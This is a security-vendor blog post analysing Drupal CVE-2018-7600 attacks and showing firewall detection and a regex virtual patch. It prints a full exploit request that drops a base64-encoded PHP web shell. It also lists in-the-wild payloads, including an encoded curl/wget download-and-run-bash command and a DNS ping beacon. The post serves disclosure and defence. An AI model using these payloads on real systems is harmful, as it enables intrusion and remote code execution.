Web Application Firewall & Reverse Proxy

Apr 24, 2018 12:24 PM

Migration User

Written by:

Shay Berkovich, Sr. Software Development Engineer

Martin Vierula, Sr. Software Development Engineer

Summary

Drupal is a very popular open source Content Management System installed on many webservers. A recently announced patch for Drupal 7.x and 8.x has been released and drew a lot of attention due to the issue criticality. Soon after the patch, various researchers came up with the articles describing the issue and the attack vectors. Not long after that, a working exploit was published on Github. Multiple sources report that the vulnerability is being actively exploited with multiple variations of attack payloads.

The Symantec Web Application Firewall solution leverages a unique Content Nature Detection approach that is able to correctly identify CVE-2018-7600 attacks without requiring a signature update or virtual patch. Symantec Web Application Firewall (WAF) customers are protected by default, and no additional action is required.

Attack

The original research has identified four parameter keys from Drupal FormAPI susceptible to injection. However, currently, only two of the parameters are exploited - “#lazy_builder” and “#post_render”. Note that this vulnerability is aggravated by the lack of authorization required, because the form targeted is the new user registration form. There are several POC attack payloads flooding the web, most of them are collected here. For our analysis we will use the most mature exploit script at this point from here:

Analyzing the traffic with Wireshark shows the HTTP request being issued:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Connection: close
Host: 192.168.233.142
Content-Length: 179
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg== | base64 -d | tee s.php

Following the reports of exploitation attempts on the internet, there are more payloads identified that are injected through mail[][#markup] form parameter:

ping 192.168.233.142.mu6fea.ceye.io -c 1

echo `whoami`
phpinfo()
echo 123
whoami
touch 1.html
echo "xiokv"

echo KC91c3IvYmluL2N1cmwgLWZzU0wgaHR0c DovL3RjOHpkdy5pZjFqMHl0Z2t5cGEudGsvaSB8 fCAvdXNyL2Jpbi93Z2V0IGh0dHA6Ly90Yzh6 ZHcuaWYxajB5dGdreXBhLnRrL2kgLXFPLSkgfCAvYmluL2Jhc2g= | base64 -d | bash

Mitigation

Let’s deploy the Symantec Web Application Firewall (WAF) and observe how the attack is correctly detected and blocked. Using the “ping” payload and original POC from here, the WAF log for the request shows the Command Injection engine has identified the attack:

404 TCP_NC_MISS POST text/html;%20charset=iso-8859-1 http 10.169.2.157 80 /user/register ?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax - "python-requests/2.18.4" 10.169.4.101 474 445 - "Unavailable" - - 506 "10.75.88.230" "Unavailable" - 2 10.169.2.157 "unavailable" "Command Injection" 30 - "[{""eng"":""injection.command"",""part"":""post_arg"",""host"":""linux"",""version"":""3"",""data"":""ping 10.169.2.157.mu6fea.ceye.io -c 1""},{""eng"":""injection.command"",""part"":""post_arg"",""host"":""windows"",""version"":""3"",""data"":""ping 10.169.2.157.mu6fea.ceye.io -c 1""},{""eng"":""injection.command"",""part"":""post_arg"",""host"":""osx"",""version"":""3"",""data"":""ping 10.169.2.157.mu6fea.ceye.io -c 1""}]" - - WAF_SCANNED

Drupalgeddon2 POC uses a more evolved technique – it first installs a PHP backdoor code in the initial POST request. Once it is deployed, the backdoor will accept and execute any command contained in parameter “c” of the GET requests destined to “s.php” backdoor file. This does not stop Symantec WAF from recognizing the parameter payload as command injection:

404 TCP_NC_MISS POST text/html;%20charset=iso-8859-1 http 10.169.2.157 80 /user/register ?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax - "Ruby" 10.169.4.101 469 506 - "Unavailable" - - 506 "10.75.88.230" "Unavailable" - 1 10.169.2.157 "unavailable" "Command Injection" 10 - "[{""eng"":""injection.command"",""part"":""post_arg"",""host"":""linux"",""version"":""3"",""data"":""echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA\/Pg== | base64 -d | tee s.php""}]" - - WAF_SCANNED

The authors are using a well-known obfuscation technique to hide the PHP code in base64-encoded string. Note that even if this technique is not used, WAF would block the PHP plaintext payload, albeit with the different Code Injection engine.

The important aspect is that Symantec WAF detected and blocked this attack without requiring a signature update. In a way, this is similar to how Metasploit decouples exploits and payloads – if the exploit is built right, one can bundle it with multiple payloads.

SYMC WAF Protection

The Symantec Web Application Firewall uses Content Nature Detection engines, which satisfy the need for strong detection capabilities in a scalable system capable of handling Enterprise-grade traffic profiles. It is a fundamental shift away from "known bad" pattern matching, and is instead based on understanding the nature of the content and how backend infrastructure components handle data.

As demonstrated, the payloads and the vector of attacks even within the same vulnerability may vary. In the case of this particular vulnerability the payload syntax is only limited by attacker’s imagination and knowledge of the programming languages and shell commands (i.e. PHP stager and bash command injection). Consider, for example, new POC may be issued tomorrow that exploits different parameter key #lazy_builder. Therefore, the patch / rule deployed by the traditional WAFs must be general enough to cover not just all vectors, but also all potential payloads. This approach, off course, is prone to a great deal of False Positives.

The Symantec WAF addresses inherent flaws in the traditional signature-based pattern matching approach. The payloads for CVE-2018-7600 are blocked by default, without requiring a signature update or virtual patch. This greatly reduces the operational overhead associated with type of vulnerability. Symantec WAF customers were also protected before this vulnerability was publically disclosed.

Conclusion

Drupal Security team has strongly advised to upgrade vulnerable Drupal versions to the appropriate patched versions (7.58 for Drupal 7.x and 8.5.1 for Drupal 8.x).

Symantec WAF customers are protected by default, and do not require a signature update or virtual patch for protection.

Existing ProxySG customers who are not running WAF controls can deploy a virtual patch in policy for immediate protection. For example:

define condition drupal_cve-2018-7600
    http.request[query_arg_name,post_arg_name].regex="(^#|\[[\x22\x27]?#.*\])"
end

<proxy> condition=drupal_cve-2018-7600
force_exception(invalid_request)

; ProxySG 6.6+
<proxy>
http.request.normalization.default(auto)

Note that this solution should be regarded as less robust than using ProxySG WAF controls.

Although Symantec WAF customers are protected by default, any that are facing delays in upgrading Drupal to a safe version would be prudent to add a similar virtual patch for defense in depth.

Update

On April 25, 2018 Drupal Security Team has published security advisory about another vulnerability related to the original CVE-2018-7600 and similar in nature. It was given the CVE number CVE-2018-7602. As with CVE-2018-7600, the freshly-dubbed Drupalgeddon3 has received the highest risk level of “Highly Critical”. As of now, there are at least two publicly available POCs exploiting this new vulnerability. Our message, however, has stayed the same: Symantec WAF customers are protected by default. This is yet another example of zero-day protection Content Nature Detection engines provide - even though the new vulnerability is located in the different form, the malicious payloads are still blocked.